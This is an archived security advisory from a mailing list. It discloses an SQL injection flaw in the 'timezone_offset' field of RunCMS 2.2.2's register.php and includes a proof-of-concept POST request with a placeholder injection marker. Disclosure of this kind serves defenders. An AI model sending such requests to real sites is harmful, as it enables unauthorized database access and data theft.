[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22820: SQL Injection in RunCMS



Vulnerability ID: HTB22820
Reference: http://www.htbridge.ch/advisory/sql_injection_in_runcms.html
Product: RunCMS
Vendor: http://www.runcms.org/ ( http://www.runcms.org/ ) 
Vulnerable Version: 2.2.2
Vendor Notification: 27 January 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/register.php" script to properly sanitize user-supplied input in "timezone_offset" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


POST /register.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 299

uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address=nope&zip_code=123&town=nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL_CODE_HERE&url=http%3A%2F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verify_text=&verify_crc=&keystring=368483&op=finish